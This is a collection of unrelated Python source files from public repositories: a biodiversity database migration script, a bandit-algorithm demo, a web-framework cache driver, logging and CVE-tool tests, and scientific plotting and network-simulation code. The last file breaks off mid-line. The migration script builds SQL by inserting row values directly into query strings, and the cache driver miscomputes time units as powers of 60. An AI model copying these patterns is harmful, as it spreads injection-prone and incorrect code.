print('\\n')\n r.raise_for_status()\n\n if 'fastaSequence' in transformed_data:\n insert_fasta_data(psql, project_id, expedition['id'], transformed_data['fastaSequence'])\n if 'fastqMetadata' in transformed_data:\n insert_fastq_data(psql, project_id, expedition['id'], transformed_data['fastqMetadata'])\n\n print('Successfully uploaded expedition: ', code)\n\n\ndef insert_fastq_data(psql, project_id, expedition_id, data):\n cursor = psql.cursor()\n sql = \"INSERT INTO project_{}.fastqMetadata (local_identifier, expedition_id, data, parent_identifier) VALUES \".format(project_id)\n\n for row in data:\n row['identifier'] = row['urn:materialSampleID']\n if 'bioSample' in row:\n if row['bioSample'] == \"\":\n del row['bioSample']\n else:\n row['bioSample'] = row['bioSample'].replace(\"'\", '\"')\n row['filenames'] = row['filenames'].replace(\"'\", '\"')\n sql += \"('{}', {}, '{}'::jsonb, '{}'), \".format(\n row['identifier'],\n expedition_id,\n json.dumps(row),\n row['identifier']\n )\n\n sql = sql[:-2] + \" ON CONFLICT (local_identifier, expedition_id) DO NOTHING\"\n cursor.execute(sql)\n psql.commit()\n cursor.close()\n\n\ndef insert_fasta_data(psql, project_id, expedition_id, data):\n cursor = psql.cursor()\n sql = \"INSERT INTO project_{}.fastaSequence (local_identifier, expedition_id, data, parent_identifier) VALUES \".format(project_id)\n\n for row in data:\n row['identifier'] = \"{}_{}\".format(row['urn:materialSampleID'], row['marker'])\n sql += \"('{}', {}, '{}'::jsonb, '{}'), \".format(\n row['identifier'],\n expedition_id,\n json.dumps(row),\n row['urn:materialSampleID']\n )\n\n sql = sql[:-2] + \" ON CONFLICT (local_identifier, expedition_id) DO NOTHING\"\n cursor.execute(sql)\n psql.commit()\n cursor.close()\n\n\ndef data_to_worksheets(old_data, config):\n data = {}\n\n if 'fasta' in old_data:\n data['fastaSequence'] = old_data['fasta']\n if 'fastq' in old_data:\n data['fastqMetadata'] = old_data['fastq']\n\n sheet_attributes = {}\n for entity in config['entities']:\n if entity['conceptAlias'] in ['fastaSequence', 'fastqMetadata', 'Sample_Photo', 'Event_Photo']:\n continue\n if not entity['worksheet']:\n continue\n if not entity['worksheet'] in sheet_attributes:\n sheet_attributes[entity['worksheet']] = []\n sheet_attributes[entity['worksheet']].extend(entity['attributes'])\n\n sample = old_data['sample']\n for s in sample:\n for sheet in sheet_attributes:\n mapping = COLUMN_MAPPING[sheet] if sheet in COLUMN_MAPPING else None\n val_mapping = VALUE_MAPPINGS[sheet] if sheet in VALUE_MAPPINGS else None\n ed = {}\n for attribute in sheet_attributes[sheet]:\n col = attribute['column']\n\n def val(v):\n if col == 'coordinateUncertaintyInMeters' and v == 'NA':\n v = ''\n elif col == 'monthCollected' or col == 'monthIdentifier':\n if v.lower() in MONTH_MAP:\n v = MONTH_MAP[v.lower()]\n\n if attribute['dataType'] == 'FLOAT':\n # converts sci-notation\n try:\n if v and float(v) == int(float(v)):\n v = int(float(v))\n else:\n v = float(v)\n except ValueError:\n # catch error if string can't be converted to a float\n if v.endswith(' m'):\n # special case in dipnet data\n return val(v.replace(' m', ''))\n if attribute['dataType'] == 'INTEGER':\n # if v is FLOAT and we can convert to int w/o rounding, do it\n # also converts sci-notation\n try:\n if v and float(v) == int(float(v)):\n v = int(float(v))\n except ValueError:\n # catch error if string can't be converted to a float\n if v.endswith('M'):\n # special case in dipnet data\n return val(v.replace('M', ''))\n elif v.endswith(' m'):\n # special case in dipnet data\n return val(v.replace(' m', ''))\n\n if val_mapping and col in val_mapping and v in val_mapping[col]:\n return val_mapping[col][v]\n return v\n\n\n if mapping and col in mapping:\n ed[col] = val(s[mapping[col]])\n elif col in s:\n ed[col] = val(s[col])\n elif col == 'yearCollected':\n ed[col] = 'Unknown'\n if sheet not in data:\n data[sheet] = []\n\n data[sheet].append(ed)\n\n return data\n\n\ndef data_to_filelike_csv(data):\n # header\n str = \",\".join(data[0].keys())\n str += \"\\n\"\n\n for d in data:\n str += \"{}\\n\".format(\",\".join([json.dumps(v) for v in d.values()]))\n\n return io.StringIO(str)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description='Migrate geome data from single entity config to a multi entity config')\n parser.add_argument(\"--project_id\", help=\"The old id of the project we are migrating\", required=True)\n parser.add_argument(\"--access_token\", help=\"Access Token of the user to upload under\", required=True)\n parser.add_argument(\"--psql_connection_string\",\n help=\"psycopg2 connection info for the postgres db. Ex. 'host=biscicol4.acis.ufl.edu user=bisicoldev password=pass dbname=biscicoldev\", required=True)\n parser.add_argument(\"--mysql_user\", help=\"mysql db user\", required=True)\n parser.add_argument(\"--mysql_password\", help=\"mysql db password\", required=True)\n parser.add_argument(\"--mysql_host\", help=\"mysql db host\", required=True)\n parser.add_argument(\"--mysql_db\", help=\"mysql db name\", required=True)\n parser.add_argument(\"--old_entities\", help=\"entites in the old config in order to migrate the entity identifiers\",\n nargs='+', required=True)\n parser.add_argument(\"--bcid_client_id\", help=\"client_id for the bcid system\")\n parser.add_argument(\"--bcid_client_secret\", help=\"client_secret for the bcid system\")\n parser.add_argument(\"--config_file\", help=\"Project configuration JSON to set the project to before uploading data\")\n parser.add_argument(\"--accept_warnings\", help=\"Continue to upload any data with validation warnings\", default=False)\n args = parser.parse_args()\n\n psql = psycopg2.connect(args.psql_connection_string)\n mysql = connector.connect(user=args.mysql_user, passwd=args.mysql_password, host=args.mysql_host, db=args.mysql_db,\n buffered=True)\n\n migrate_project(psql, mysql, args.project_id, args.access_token, args.old_entities, args.bcid_client_id,\n args.bcid_client_secret, args.config_file, args.accept_warnings)\n","repo_name":"biocodellc/geome-db","sub_path":"scripts/dipnetGeomeMigrator.py","file_name":"dipnetGeomeMigrator.py","file_ext":"py","file_size_in_byte":32812,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"31521593700","text":"from utils import NArmedBandit, TestBed\n\n'''\nThis code compares sample average and \nconstant alpha update rules using epsilon-greedy strategy\nunder a non-stationary situation.\n\nWe can see that constant alpha outperforms sample average, \nit's not a surprise as constant alpha learns faster when facing non-stationary environment.\n'''\n\nif __name__ == '__main__':\n num_times = 20\n num_steps = 200\n num_arms = 10\n epsilon = 0.1\n alphas = [None, 0.9]\n num_choices = len(alphas)\n bandit_sample_average = NArmedBandit(\"sample-average\", num_arms, num_steps, with_noise=False,action_selection_strategy={'eps-greedy':{'eps':0.1}},\n Q_update_rule={'sample-average': None}, Q=None, is_stationary=False)\n bandit_constant_alpha = NArmedBandit(\"constant-alpha\", num_arms, num_steps, with_noise=False,action_selection_strategy={'eps-greedy':{'eps':0.1}},\n Q_update_rule={'constant-alpha': 0.9}, Q=None, is_stationary=False)\n\n bandits = [bandit_sample_average, bandit_constant_alpha]\n num_time = 100\n testbed = TestBed(bandits, num_time=num_time)\n\n testbed.run()\n testbed.show()\n","repo_name":"pltc325/sutton_book_notes","sub_path":"ch2/n-armed-bandit_epsilon_greedy_using_sample_average_or_constant_alpha.py","file_name":"n-armed-bandit_epsilon_greedy_using_sample_average_or_constant_alpha.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"44437308677","text":"\"\"\"Base cache driver module.\"\"\"\n\nfrom masonite.drivers import BaseDriver\n\n\nclass BaseCacheDriver(BaseDriver):\n \"\"\"Base class that all cache drivers inherit from.\"\"\"\n\n def calculate_time(self, cache_type, cache_time):\n \"\"\"Convert time to required unit\n Returns:\n self\n \"\"\"\n\n cache_type = cache_type.lower()\n calc = 0\n\n if cache_type in (\"second\", \"seconds\"):\n # Set time now for\n calc = 1\n elif cache_type in (\"minute\", \"minutes\"):\n calc = 60\n elif cache_type in (\"hour\", \"hours\"):\n calc = 60 ** 2\n elif cache_type in (\"day\", \"days\"):\n calc = 60 ** 3\n elif cache_type in (\"month\", \"months\"):\n calc = 60 ** 4\n elif cache_type in (\"year\", \"years\"):\n calc = 60 ** 5\n else:\n raise ValueError(\n '{0} is not a valid caching type.'.format(cache_type))\n\n return cache_time * calc\n","repo_name":"MasoniteFramework/core","sub_path":"masonite/drivers/cache/BaseCacheDriver.py","file_name":"BaseCacheDriver.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"62"} +{"seq_id":"8006211039","text":"import logging\n\nfrom pytest import fixture\n\nfrom firefighter.logging import FirehoseHandler\n\n\n@fixture\ndef fx_make_handler(monkeypatch):\n def m(submit_batch, use_queues=False):\n monkeypatch.setattr(FirehoseHandler, '_submit_batch', submit_batch)\n return FirehoseHandler('foo', use_queues=use_queues)\n\n return m\n\n\ndef test_firehose_handler_emit(caplog, fx_make_handler):\n def mockreturn(self, messages, delivery_stream_name):\n count = getattr(mockreturn, 'called', None)\n if count is not None:\n setattr(mockreturn, 'called', count + 1)\n assert len(messages) == 1\n assert messages[0] == b'foobar'\n assert delivery_stream_name == 'foo'\n\n setattr(mockreturn, 'called', 0)\n record = logging.LogRecord('hello', 20, '', 0, 'foobar', tuple(), False)\n handler = fx_make_handler(mockreturn, use_queues=False)\n handler.emit(record)\n assert getattr(mockreturn, 'called', 0) == 1\n assert not caplog.records\n","repo_name":"spoqa/firefighter","sub_path":"tests/firefighter_test.py","file_name":"firefighter_test.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"44916556387","text":"\"\"\"\ncsv2cve tests\n\"\"\"\n\nimport os\nimport sys\nimport unittest\nfrom cve_bin_tool.csv2cve import CSV2CVE, main\n\n\nclass TestCsv2cve(unittest.TestCase):\n \"\"\"\n Runs tests for the csv2cve helper tool\n \"\"\"\n\n @classmethod\n def setUp(self):\n self.CSV_PATH = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"csv\")\n\n def test_bad_csv(self):\n \"\"\" Test a empty csv file (should fail) \"\"\"\n csv2cve = CSV2CVE(filename=os.path.join(self.CSV_PATH, \"bad.csv\"))\n output = csv2cve.generate_modules()\n self.assertEqual(-1, output)\n\n def test_bad_vendor(self):\n \"\"\" Test a csv file with a bad vendor column (should fail) \"\"\"\n csv2cve = CSV2CVE(filename=os.path.join(self.CSV_PATH, \"bad_vendor.csv\"))\n output = csv2cve.generate_modules()\n self.assertEqual(-2, output)\n\n def test_bad_product(self):\n \"\"\" Test a csv file with a bad product column (should fail) \"\"\"\n csv2cve = CSV2CVE(filename=os.path.join(self.CSV_PATH, \"bad_product.csv\"))\n output = csv2cve.generate_modules()\n self.assertEqual(-2, output)\n\n def test_bad_version(self):\n \"\"\" Test a csv file with a bad version column (should fail) \"\"\"\n csv2cve = CSV2CVE(filename=os.path.join(self.CSV_PATH, \"bad_version.csv\"))\n output = csv2cve.generate_modules()\n self.assertEqual(-2, output)\n\n def test_bad_filename(self):\n \"\"\" Test a csv with bad filename (should fail)\"\"\"\n csv2cve = CSV2CVE(filename=\"I'm not a good path\")\n output = csv2cve.generate_modules()\n self.assertEqual(-3, output)\n\n def test_sample_csv(self):\n \"\"\" Test a good sample CSV file (also contains false products)\"\"\"\n csv2cve = CSV2CVE(filename=os.path.join(self.CSV_PATH, \"test.csv\"))\n output = csv2cve.generate_modules()\n\n # Generate Dict Keys for Testting\n pro_libjpeg = output[\"libjpeg-turbo\"][\"2.0.1\"].keys()\n pro_curl = output[\"curl\"][\"7.59.0\"].keys()\n pro_libcurl = output[\"libcurl\"][\"7.59.0\"].keys()\n pro_unknown = output[\"no\"][\"7.7\"].keys()\n\n # Assert the CVEs in the dict keys\n self.assertIn(\"CVE-2018-19664\", pro_libjpeg)\n self.assertIn(\"CVE-2018-16839\", pro_curl)\n self.assertIn(\"CVE-2018-16890\", pro_libcurl)\n self.assertIn(\"UNKNOWN\", pro_unknown)\n\n def test_main(self):\n \"\"\" Test running main. Likely needs to be expanded. \"\"\"\n returncode = main([\"csv2cve\"])\n self.assertEqual(0, returncode)\n","repo_name":"redNixon/cve-bin-tool","sub_path":"test/test_csv2cve.py","file_name":"test_csv2cve.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"11004167620","text":"import pandas as pd\r\ndf=pd.read_csv(\"Teams.csv\")\r\n#print(df)\r\n\r\n#---\r\na=df.groupby(\"Team\")\r\nprint(a.groups)\r\ndiv=a.get_group(\"Riders\")\r\nprint(div)\r\n\r\n##year=df.groupby(\"Year\")\r\n##print(year.groups)\r\n","repo_name":"sohan310/PythonAdvancePrograms","sub_path":"pandas_groupby_01.py","file_name":"pandas_groupby_01.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"38953657504","text":"import numpy\nimport matplotlib.pyplot as pyplot\n\n__author__ = 'etnc6d'\n\nraw = numpy.loadtxt('/media/Storage/thesis/mcnp.gitignore/meshtal_data_unc.dat')\nraw2 = numpy.loadtxt('/media/Storage/thesis/mcnp.gitignore/meshtal_data_tot.dat')\n\nprint(\"Finished reading...\")\n\ne = raw[:, 0]\nx = raw[:, 1]\ny = raw[:, 2]\nz = raw[:, 3]\nv = raw[:, 4]\nr = raw[:, 5]\n\nvtot = raw2[:, 4]\nrtot = raw2[:, 5]\n\ne = e.reshape((5, 64, 64, 16))\nx = x.reshape((5, 64, 64, 16))\ny = y.reshape((5, 64, 64, 16))\nz = z.reshape((5, 64, 64, 16))\nv = v.reshape((5, 64, 64, 16))\nr = r.reshape((5, 64, 64, 16))\n\nvtot = vtot.reshape((5, 64, 64, 16))\nrtot = rtot.reshape((5, 64, 64, 16))\n\neaxis = e[:, 0, 0, 0]\nxaxis = x[0, :, 0, 0]\nyaxis = y[0, 0, :, 0]\nzaxis = z[0, 0, 0, :]\n\neaxis = numpy.insert(eaxis, 0, 0.0)\nelabels = [str(erg1) + \" - \" + str(erg2) + \" MeV\" for erg1, erg2 in zip(eaxis[:-1], eaxis[1:])]\nelabels[-1] = 'Total'\n\nzslice = 3\n\npyplot.close('all')\n\n\nfor eindx, erg in enumerate(elabels):\n\n if max(v[eindx, :, :, zslice].flatten()) <= 0:\n continue\n\n #pyplot.figure()\n #pyplot.contourf(xaxis, yaxis, v[eindx, :, :, zslice], 128, cmap='viridis')\n #pyplot.colorbar()\n #pyplot.title('Unc Flux, E = ' + str(erg))\n #pyplot.xlabel('x')\n #pyplot.ylabel('y')\n\n pyplot.figure()\n pyplot.contourf(xaxis, yaxis, r[eindx, :, :, zslice], 128, cmap='viridis')\n pyplot.colorbar()\n pyplot.contour(xaxis, yaxis, r[eindx, :, :, zslice], [.05, .1, .2])\n pyplot.title('Unc Uncertainty, E = ' + str(erg))\n pyplot.xlabel('x')\n pyplot.ylabel('y')\n\n logticks = numpy.linspace(-8, 0, 9, endpoint=True)\n loglvs = numpy.linspace(-8, 0, 128, endpoint=True)\n\n pyplot.figure()\n pyplot.contourf(numpy.log10(v[eindx, :, :, zslice]), levels=loglvs, cmap='viridis')\n pyplot.colorbar(ticks=logticks)\n pyplot.title('Unc Log Flux, E = ' + str(erg))\n pyplot.xlabel('-y')\n pyplot.ylabel('x')\n\n pyplot.figure()\n pyplot.contourf(numpy.log10(vtot[eindx, :, :, zslice]), levels=loglvs, cmap='viridis')\n pyplot.colorbar(ticks=logticks)\n pyplot.title('Tot Log Flux, E = ' + str(erg))\n pyplot.xlabel('-y')\n pyplot.ylabel('x')\n\n pyplot.figure()\n pyplot.contourf(v[eindx, :, :, zslice]/vtot[eindx, :, :, zslice], 128, cmap='viridis')\n pyplot.colorbar(ticks=numpy.linspace(0, 1.0, 11, endpoint=True))\n pyplot.title('Unc/Total, E = ' + str(erg))\n pyplot.xlabel('-y')\n pyplot.ylabel('x')\n\npyplot.show()\n\n","repo_name":"eNorris/thesis","sub_path":"python/meshplotter/main/mcnpMctalPlotter.py","file_name":"mcnpMctalPlotter.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4942548522","text":"## Author: Peng Wan\n## Date: 08/23/2021\n\nimport networkx as nx\nimport numpy as np\nimport math\nimport random\nimport time\nimport statistics\nimport scipy.special as sc\n\nfrom NetGraph import RmGraphGen\nfrom NetGraph import GraphInform\n\nfrom SimulateArcs import ParaGen\nfrom SimulateArcs import Simulate\nfrom SimulateArcs import DstrSimu\n\nfrom CoreEst import GradientEst\n\nfrom scipy.stats import norm\nfrom scipy.stats import erlang\nfrom scipy.stats import gamma\nfrom scipy.stats import uniform\nfrom pert import PERT\nimport copy\nfrom scipy.stats import weibull_min\nimport matplotlib.pyplot as plt \nfrom IPython.display import display, Math, Latex\nfrom collections import deque \n\n################################### Distribution Dictionary #########################################\n## Normal Distribution: 1\n## exponential Distribution: 2\n## Triangle Distribution: 3\n## Truncated Normal Distribution unbounded: 4\n## Uniform distribution: 5\n## Gamma distribution: 6\n## Truncated Normal Distribution bounded: 7\n## Triangle Distribution scale 8\n## PERT Distribution scale 9\n#####################################################################################################\n\nclass EYdifference:\n\t\n\tdef __init__(self,N_repl,Arc,Node,G,dictionary,inform,net_struct,nonzero_list,M_mu,M_sigma,M_unif_loca,M_unif_scal,M_tri_a,M_tri_b,M_tri_c,M_gamma_shap,M_gamma_scal,M_tnormal_a,M_tnormal_b,M_theta,Mdst,percent,order,low_bd):\n\t\tself.N_repl = N_repl\n\t\tself.Arc = Arc\n\t\tself.Node = Node\n\t\tself.G = G\n\t\tself.dictionary = dictionary\n\t\tself.inform = inform\n\t\tself.net_struct = net_struct\n\t\tself.nonzero_list = nonzero_list\n\n\t\tself.M_mu = M_mu\n\t\tself.M_sigma = M_sigma\n\t\tself.M_unif_scal = M_unif_scal\n\t\tself.M_unif_loca = M_unif_loca\n\t\t### Edited on 09/02/2021 ###\n\t\t#self.M_tri_a = M_tri_a\n\t\t#self.M_tri_b = M_tri_b\n\t\t#self.M_tri_c = M_tri_c\n\t\tself.M_tri_a = M_tnormal_a\n\t\tself.M_tri_b = M_tnormal_b\n\t\tself.M_tri_c = M_mu\n\t\tself.M_gamma_shap = M_gamma_shap\n\t\tself.M_gamma_scal = M_gamma_scal\n\t\tself.M_tnormal_a = M_tnormal_a\n\t\tself.M_tnormal_b = M_tnormal_b\n\t\tself.M_theta = M_theta\n\t\tself.Mdst = Mdst\n\t\tself.percent = percent\n\t\tself.order = order\n\t\tself.low_bd = low_bd\n\n\tdef subset_ca(self):\n\t\tN_large = 2000 \n\t\tM_ca = np.zeros([N_large,self.Node,self.Node])\n\t\tfor i in range(N_large):\n\t\t\tsimu_sing = Simulate(self.Arc,self.Node,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.nonzero_list)\n\t\t\tsimu = simu_sing.SimuArcs()\n\t\t\tEYGR = GradientEst(self.Arc,self.Node,simu,self.G,self.dictionary,self.inform,self.net_struct,self.nonzero_list,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.percent)\n\t\t\tM_ca[i,:,:],cn = EYGR.ca_struct()\n\t\t\tca = self.Mean_Matrix(M_ca)\n\t\tsublist_long = np.zeros([self.Arc,self.Arc])\n\t\tct = 0\n\t\tfor k in range(self.Arc):\n\t\t\ti = int(self.nonzero_list[0][k])\n\t\t\tj = int(self.nonzero_list[1][k])\n\t\t\tif ca[i,j] >= self.low_bd:\n\t\t\t\tsublist_long[i,j] = 1\n\t\tsublist_ca = np.nonzero(sublist_long) \n\t\treturn sublist_ca\n\n\tdef argmax_cord(self,mt):\n\t\tmv = np.max(mt)\n\t\tn = len(mt[0])\n\t\tfor i in range(n):\n\t\t\tfor j in range(n):\n\t\t\t\tif abs(mt[i,j] - mv) < 0.0001:\n\t\t\t\t\tmax_i = i\n\t\t\t\t\tmax_j = j\n\t\treturn max_i,max_j\n\n\tdef diff_ratio(self,M):\n\t\tM_diff_ratio = np.zeros([self.Node,self.Node])\n\t\tfor k in range(len(self.nonzero_list[0])):\n\t\t\ti = self.nonzero_list[0][k]\n\t\t\tj = self.nonzero_list[1][k]\n\t\t\tM_diff_ratio[i,j] = M[i,j]/self.cost[i,j]\n\t\treturn M_diff_ratio\n\n\tdef Mean_Matrix(self,M):\n\t\tM_mean = np.zeros([self.Node,self.Node])\n\t\tfor k in range(self.Arc):\n\t\t\ti = self.nonzero_list[0][k]\n\t\t\tj = self.nonzero_list[1][k]\n\t\t\tM_mean[i,j] = np.mean(M[:,i,j])\n\t\treturn M_mean\n\n\tdef compare_matrix(self,M1,M2):\n\t\tcount = 0\n\t\tnum = 0\n\t\tfor k in range(self.Arc):\n\t\t\ti = self.nonzero_list[0][k]\n\t\t\tj = self.nonzero_list[1][k]\n\t\t\tif M2[i,j] > 0:\n\t\t\t\tcount += abs(M1[i,j] - M2[i,j])\n\t\t\t\tnum += 1\n\t\t\telse:\n\t\t\t\tcount += 0\n\t\tavg_count = count/num\n\t\treturn avg_count\n\n\tdef RSE_measure(self,vec):\n\t\tstd = math.sqrt(np.var(vec,ddof=1))\n\t\trse = std/(math.sqrt(self.N_repl))\n\t\treturn rse\n\n\tdef RSE_average(self,M):\n\t\trse = 0\n\t\tfor k in range(self.Arc):\n\t\t\ti = self.nonzero_list[0][k]\n\t\t\tj = self.nonzero_list[1][k]\n\t\t\tvec = np.zeros(self.N_repl)\n\t\t\tfor n in range(self.N_repl):\n\t\t\t\tvec[n] = M[n,i,j]\n\t\t\trse_k = self.RSE_measure(vec)\n\t\t\trse += rse_k\n\t\taverage = rse/self.Arc\n\t\treturn average\n\n\tdef simulate_dictionary(self):\n\t\tdist_dic = {}\n\t\tfor k in range(self.N_repl):\n\t\t\tsimu_sing = Simulate(self.Arc,self.Node,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.nonzero_list)\n\t\t\tdist_dic[k] = simu_sing.SimuArcs()\n\t\treturn dist_dic\n\n\tdef EY_diff_mean(self):\n\t\tN_large = 5000 \n\t\tM_measure_fd = np.zeros([N_large,self.Node,self.Node])\n\t\tfor i in range(N_large):\n\t\t\tsimu_sing = Simulate(self.Arc,self.Node,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.nonzero_list)\n\t\t\tsimu = simu_sing.SimuArcs()\n\t\t\tEYGR = GradientEst(self.Arc,self.Node,simu,self.G,self.dictionary,self.inform,self.net_struct,self.nonzero_list,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.percent)\n\t\t\tM_measure_fd[i,:,:] = EYGR.EY_finite_diff_cmrv()\n\t\t\tM_mean_fd = self.Mean_Matrix(M_measure_fd)\n\t\treturn M_mean_fd\n\t\n\t## test for different order of taylor expansions ##\n\tdef EY_diff_estimate_seperate_compare(self):\n\t\tM_EY_diff0 = np.zeros([self.N_repl,self.Node,self.Node])\n\t\tM_EY_diff1 = np.zeros([self.N_repl,self.Node,self.Node])\n\t\tM_EY_diff2 = np.zeros([self.N_repl,self.Node,self.Node])\n\t\tM_EY_diff3 = np.zeros([self.N_repl,self.Node,self.Node])\n\t\tt0 = 0\n\t\tt1 = 0\n\t\tt2 = 0\n\t\tt3 = 0 \n\n\t\ttime_fd0 = time.time()\n\t\tM = self.EY_diff_mean()\n\t\ttime_fd1 = time.time()\n\t\t\n\t\tt_fd = time_fd1 - time_fd0\n\n\t\tfor k in range(self.N_repl):\n\t\t\ttime_s = time.time()\n\t\t\tsimu_sing = Simulate(self.Arc,self.Node,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.nonzero_list)\n\t\t\tsimu_arclt = simu_sing.SimuArcs()\n\t\t\tEYGR = GradientEst(self.Arc,self.Node,simu_arclt,self.G,self.dictionary,self.inform,self.net_struct,self.nonzero_list,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.percent)\n\t\t\ttime0 = time.time()\n\t\t\tM_EY_diff0[k,:,:] = EYGR.EY_taylor_est(0,self.percent)\n\t\t\ttime1 = time.time()\n\t\t\tM_EY_diff1[k,:,:] = EYGR.EY_taylor_est(1,self.percent)\n\t\t\ttime2 = time.time()\n\t\t\tM_EY_diff2[k,:,:] = EYGR.EY_taylor_est(2,self.percent)\n\t\t\ttime3 = time.time()\n\t\t\tM_EY_diff3[k,:,:] = EYGR.EY_taylor_est(3,self.percent)\n\t\t\ttime4 = time.time()\n\n\t\t\tt0 += time1 - time0 + time0 - time_s\n\t\t\tt1 += time2 - time1 + time0 - time_s\n\t\t\tt2 += time3 - time2 + time0 - time_s\n\t\t\tt3 += time4 - time3 + time0 - time_s\n\n\t\tdiff_mean0 = self.compare_matrix(self.Mean_Matrix(M_EY_diff0),M)\n\t\tdiff_mean1 = self.compare_matrix(self.Mean_Matrix(M_EY_diff1),M)\n\t\tdiff_mean2 = self.compare_matrix(self.Mean_Matrix(M_EY_diff2),M)\n\t\tdiff_mean3 = self.compare_matrix(self.Mean_Matrix(M_EY_diff3),M)\n\n\t\tdiff_rse0 = self.RSE_average(M_EY_diff0)\n\t\tdiff_rse1 = self.RSE_average(M_EY_diff1)\n\t\tdiff_rse2 = self.RSE_average(M_EY_diff2)\n\t\tdiff_rse3 = self.RSE_average(M_EY_diff3)\n\t\t\n\t\treturn diff_mean0, diff_mean1, diff_mean2, diff_mean3, diff_rse0, diff_rse1, diff_rse2, diff_rse3, t0, t1, t2, t3, t_fd\n\n\t## Calculate the difference of EY ##\n\n\tdef EY_diff_ratio(self):\n\t\tM_EY_diff = np.zeros([self.N_repl,self.Node,self.Node])\n\t\tfor k in range(self.N_repl):\n\t\t\tsimu_sing = Simulate(self.Arc,self.Node,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.nonzero_list)\n\t\t\tsimu_arclt = simu_sing.SimuArcs()\n\t\t\tEYGR = GradientEst(self.Arc,self.Node,simu_arclt,self.G,self.dictionary,self.inform,self.net_struct,self.nonzero_list,self.M_mu,self.M_sigma,self.M_unif_loca,self.M_unif_scal,self.M_tri_a,self.M_tri_b,self.M_tri_c,self.M_gamma_shap,self.M_gamma_scal,self.M_tnormal_a,self.M_tnormal_b,self.M_theta,self.Mdst,self.percent)\n\t\t\tM_EY_diff[k,:,:] = EYGR.EY_taylor_ratio(self.order,self.percent)\n\t\tEY_diff_est = self.Mean_Matrix(M_EY_diff)\n\t\treturn EY_diff_est\n\n\tdef tac_diff_ratio(self):\n\t\tM_diff = self.EY_diff_ratio()\n\t\tcost_ratio = self.diff_ratio(M_diff)\n\t\treturn cost_ratio\n\nimport argparse\n\nparser = argparse.ArgumentParser(description='Node and Arc number')\nparser.add_argument('-N','--Node',type = int,required = True, help = 'Node Numbers')\nparser.add_argument('-A','--Arc',type = int,required = True, help = 'Arc Numbers')\nargs = parser.parse_args()\n\nif __name__ == \"__main__\":\n\tNode = args.Node\n\tArc = args.Arc\n\tN_repl = 200\n\n\tgnwk = RmGraphGen(Node,Arc)\n\tmu_b = 1\n\tmu_c = 14\n\tsigma_b = 0.25\n\tsigma_c = 0.33 - sigma_b\n\tunif_loca_b = 1\n\tunif_loca_c = 4\n\tunif_scal_b = 1\n\tunif_scal_c = 9\n\ttri_left_b = 0.25\n\ttri_left_c = 0.33 - tri_left_b\n\ttri_right_b = 0.25\n\ttri_right_c = 0.33 - tri_right_b\n\tgamma_shap_b = 1\n\tgamma_shap_c = 9\n\tgamma_scal_b = 0.5\n\tgamma_scal_c = 2\n\ttnormal_left_b = 0.25\n\ttnormal_left_c = 0.33 - tnormal_left_b\n\ttnormal_right_b = 0.25\n\ttnormal_right_c = 0.33 - tnormal_right_b\n\ttheta_b = 0.5\n\ttheta_c = 29.5\n\tcost_b = 1\n\tcost_c = 9\n\tpercent = 0.15\n\torder = 3\n\tlow_bd = 0.05\n\n\tG = gnwk.generate_graph_am()\n\tnonzero_list = np.nonzero(G)\n\tgraph_information = GraphInform(Node,Arc,G)\n\tnet_struct = graph_information.network_struct()\n\tdictionary = graph_information.countpath()\n\tinform = graph_information.informt()\n\n\tpar = 